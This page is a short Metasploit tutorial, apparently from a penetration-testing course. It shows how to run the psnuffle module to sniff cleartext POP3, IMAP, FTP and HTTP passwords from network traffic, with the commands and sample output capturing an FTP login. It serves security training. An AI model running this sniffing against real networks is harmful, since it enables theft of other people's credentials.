Password Sniffing a11y.text Password Sniffing Password Sniffing with Metasploit a11y.text Password Sniffing with Metasploit Max Moser released a Metasploit password sniffing module named psnuffle that will sniff passwords off the wire similar to the tool dsniff . It currently supports POP3, IMAP, FTP, and HTTP GET. More information is available on his blog . Using the psnuffle module is extremely simple. There are some options available but the module works great â€œout of the boxâ€•. msf > use auxiliary/sniffer/psnuffle

msf auxiliary(psnuffle) > show options

Module options:

Name	Current Setting	Required	Description
FILTER		no	The filter string for capturing traffic
INTERFACE		no	The name of the interface
PCAPFILE		no	The name of the PCAP capture file to process
PROTOCOLS	all	yes	A comma-delimited list of protocols to sniff or "all".
SNAPLEN	65535	yes	The number of bytes to capture
TIMEOUT	1	yes	The number of seconds to wait for new data There are some options available, including the ability to import a pcap capture file. We will run the psnuffle scanner in its default mode. msf auxiliary(psnuffle) > run

[*] Auxiliary module execution completed

[*] Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb...

[*] Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb...

[*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...

[*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...

[*] Sniffing traffic.....

[*] Successful FTP Login: 192.168.1.100:21-192.168.1.5:48614 >> victim / pass (220 3Com 3CDaemon FTP Server Version 2.0) There! Weâ€™ve captured a successful FTP login. This is an excellent tool for passive information gathering. Next Extending Psnuffle Prev Service Identification